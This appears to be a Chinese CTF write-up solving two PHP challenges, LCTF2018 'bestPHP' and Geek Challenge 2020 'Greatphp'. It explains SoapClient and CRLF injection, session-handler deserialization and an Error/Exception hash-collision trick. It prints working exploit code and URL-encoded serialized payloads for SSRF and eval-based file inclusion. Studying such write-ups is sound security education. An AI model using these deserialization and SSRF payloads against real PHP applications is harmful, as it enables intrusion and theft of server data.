bestPHP:WP 知识点
php内置类SoapClient
CRLF Injection漏洞
call_user_func
PHPsession 反序列化
SoapClient SOAP是webService三要素(SOAP、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andIntegration))之一:WSDL 用来描述如何访问具体的接口, UDDI用来管理,分发,查询webService ,SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。其采用HTTP作为底层通讯协议,XML作为数据传送的格式。
SoapClient类可以创建soap数据报文,与wsdl接口进行交互。
1 2 3 4 5 6 7 <?php $a = new SoapClient (null ,array (location'=>' http:$b = serialize ($a );echo $b ;$c = unserialize ($b );$c ->a ();
CRLF CRLF是”回车+换行”(\r\n)的简称。在HTTP协议中,HTTPHeader与HTTPBody是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLFInjection又叫HTTPResponseSplitting,简称HRS。
简单来说
http请求遇到两个\r\n即%0d%0a,会将前半部分当做头部解析,而将剩下的部分当做体,当我们可以控制User-Agent的值时,头部可控,就可以注入crlf实现修改http请求包。
1 2 3 4 5 6 7 8 9 10 11 <?php $target = "http://localhost:2333" ;$options = array ( "location" => $target , "user_agent" => "mochazz\r\nCookie: PHPSESSID=123123\r\n" , "uri" => "demo" );$attack = new SoapClient (null ,$options );$payload = serialize ($attack );unserialize ($payload )->ff (); ?>
call_user_func call_user_func函数中的参数可以是一个数组,数组中第一个元素为类名,第二个元素为类方法。
PHPsession 反序列化
Directive
含义
session.save_handler
session保存形式。默认为files
session.save_path
session保存路径。
session.serialize_handler
session序列化存储所用处理器。默认为php。
session.upload_progress.cleanup
一旦读取了所有POST数据,立即清除进度信息。默认开启
session.upload_progress.enabled
将上传文件的进度信息存在session中。默认开启。
1 2 3 4 <?php session_start ();$_SESSION ['name' ] = 'lvyz' ;?>
当 session.serialize_handler=php 时,session文件内容为: name|s:4:"lvyz";
当 session.serialize_handler=php_serialize 时,session文件为: a:1:{s:4:"name";s:4:"lvyz";}
当 session.serialize_handler=php_binary 时,session文件内容为: 二进制字符names:4:"lvyz";
当我们使用PHP引擎反序列化php_serialize引擎序列化内容时得到
1 2 3 4 5 $_SESSION['name'] = '|username' a:1 :{s:4 :'name';s:4 :'|username';}|被当作分隔符 a:1 :{s:4 :'name';s:4 :'被当作KEY username 被当作value进行反序列化
题目分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php highlight_file (__FILE__ );$b = 'implode' ;call_user_func ($_GET ['f' ], $_POST ); session_start ();if (isset ($_GET ['name' ])) { $_SESSION ['name' ] = $_GET ['name' ]; } var_dump ($_SESSION );$a = array (reset ($_SESSION ), 'welcome_to_the_lctf2018' );call_user_func ($b , $a );?> array (0 ) { } only localhost can get flag!session_start ();echo 'only localhost can get flag!' ;$flag = 'LCTF{*************************}' ;if ($_SERVER ["REMOTE_ADDR" ]==="127.0.0.1" ){ $_SESSION ['flag' ] = $flag ; } only localhost can get flag!
通过flag.php文件得到信息,我们需要用127.0.0.1访问它才能得到flag,那么很明显就是要我们利用SSRF,回到题目的源码,我们的思路就是寻找能SSRF的点,这里就是利用SoapCLient内置类的__call方法进行,那么要利用它就是要进行反序列化,但是这里没有POP链,看到session_start我们可以尝试SESSION反序列化漏洞,我们先把靶机的serialize_handler改为phpserialize
1 PHP 7 中 session_start () 函数可以接收一个数组作为参数,可以覆盖 php.ini 中 session 的配置项。这个特性也引入了一个新的 php.ini 设置(session .lazy_write)
我们传入f=session_start,post:array(‘serialize_handler’=>’php_serialize’),即可达到session_start(array(‘serialize_handler’ => ‘php_serialize’)) 将他的serialize_handler改为php_serialize
然后我们构造一个序列化字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php $target='http://127.0.0.1/flag.php' ; $b = new SoapClient(null,array('location' => $target, 'user_agent' => "npfs\r\nCookie:PHPSESSID=123456\r\n" , 'uri' => "http://127.0.0.1/" )); $se = serialize($b); echo "|" .urlencode($se); 这里的sessid需要记住,后面要指定sessid访问页面来让他进行反序列化 |O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0 .0 .1 %2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0 .0 .1 %2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A31%3A%22npfs%0D%0ACookie%3APHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
接下来就是让这一字符串写入到他的session文件当中,这样他的session文件中就是一个SOAP对象 让他的session[‘name’]=$_GET[‘name’]
第二步:通过变量覆盖,调用SoapClient类,从而触发__call 方法传值f=extract&name=SoapClient POST:b=call_user_func. 这样 call_user_func($b,$a)就变成call_user_func(‘call_user_func’,array(‘SoapClient’,’welcome_to_the_lctf2018’)) ,即调用 SoapClient 类不存在的 welcome_to_the_lctf2018 方法,从而触发 __call 方法发起 soap 请求进行 SSRF。
这里的,我们访问时他会解析上一步的session文件,这样的的session数组的第一个元素就是一个SOAP对象,这里我们对它进行访问XXXX2018方法,触发__call导致SSRF 在flag.php。会将flag赋值给$_SESSION[‘flag’]
第三步:将PHPSESSID改为我们在SoapClient类里设置的123456即可得到flag
[极客大挑战 2020]Greatphp:WP 知识点
Error|Exception内置类
反序列化基础
取反绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php error_reporting (0 );class SYCLOVER { public $syc ; public $lover ; public function __wakeup ( ) { if ( ($this ->syc != $this ->lover) && (md5 ($this ->syc) === md5 ($this ->lover)) && (sha1 ($this ->syc)=== sha1 ($this ->lover)) ){ if (!preg_match ("/\<\?php|\(|\)|\"|\'/" , $this ->syc, $match )){ eval ($this ->syc); } else { die ("Try Hard !!" ); } } } }if (isset ($_GET ['great' ])){ unserialize ($_GET ['great' ]); } else { highlight_file (__FILE__ ); }?>
第一眼看到题目,简单的md5和sha1绕过,一般传个数组进去就绕过了,但是这里发现他还需要对值进行命令执行,这里如果把数组传入eval当中会报错,这里我们就使用Error和Exeption内置类来绕过
1 2 3 4 5 6 <?php $a = new Exception ("payload" ,1 );$b = new Exception ("payload" ,2 );echo $a ;echo "\r\n\r\n" ;echo $b ;
当ehco一个Exception类时会触发他的__toString方法,我们可以看到他除了报错行数之外都是相同的,那么久意味着我们若把两者放在同一行他们__toString方法的结果就是相同的,md5和sha1的结果也是相同的,并且他内部有一个code值,让他在比较时是不同的这里我们就可以绕过
1 if ( ($this ->syc != $this ->lover) && (md5($this ->syc) === md5($this ->lover)) && (sha1($this ->syc)=== sha1($this ->lover)) )
然后是命令执行,测试发现当一个Exception类传到eval当中的时候他获取的值是他的message,并且message我们可控,那么题目就可以命令执行
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class SYCLOVER { public $syc ; public $lover ; public function __construct ($b ,$c ) { $this ->syc = $b ; $this ->lover = $c ; }$in = ~("/flag" );$payload = "?><?=include~" .$in ."?>" ;$b = new error ($payload ,1 );$c =new error ($payload ,2 );$a = new SYCLOVER ($b ,$c );echo (urlencode (serialize ($a )));?> 因为过滤了引号所以需要取反绕过一下